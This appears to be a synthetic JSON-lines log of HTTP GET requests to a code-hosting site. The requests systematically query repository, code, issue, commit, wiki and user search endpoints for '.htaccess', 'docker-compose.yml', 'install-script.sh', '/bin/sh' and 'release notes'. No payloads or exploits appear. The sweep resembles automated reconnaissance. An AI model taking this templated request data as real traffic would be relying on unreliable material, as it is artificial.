{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=.htaccess&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=docker-compose.yml&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=install-script.sh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=%2Fbin%2Fsh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
